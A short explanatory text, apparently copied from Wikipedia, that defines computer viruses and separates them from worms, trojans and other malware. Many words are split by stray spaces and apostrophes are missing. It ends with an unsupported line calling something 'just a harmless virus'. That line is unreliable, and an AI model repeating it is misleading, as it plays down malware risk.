A computer virus is a computer program that can copy itself and infect a compute r.

The term virus is also commonly but erroneously used to refer to other types of malware, adware, and spyware programs that do not have the reproductive ability . A true virus can only spread from one computer to another (in some form of exe cutable code) when its host is taken to the target computer; for instance becaus e a user sent it over a network or the Internet, or carried it on a removable me dium such as a floppy disk, CD, DVD, or USB drive. Viruses can increase their ch ances of spreading to other computers by infecting files on a network file syste m or a file system that is accessed by another computer.(Source Wikipedia) As stated above, the term computer virus is sometimes used as a catch-all phrase t o include all types of malware, adware, and spyware programs that do not have th e reproductive ability. Malware includes computer viruses, worms, trojans, most rootkits, spyware, dishonest adware, crimeware, and other malicious and unwanted software, including true viruses. Viruses are sometimes confused with computer worms and Trojan horses, which are technically different. A worm can exploit sec urity vulnerabilities to spread itself automatically to other computers through networks, while a Trojan is a program that appears harmless but hides malicious functions. Worms and Trojans, like viruses, may harm a computer system s data or p erformance. Some viruses and other malware have symptoms noticeable to the compu ter user, but many are surreptitious and go unnoticed.(Source Wikipedia) Understand the following: It s just a harmless virus .
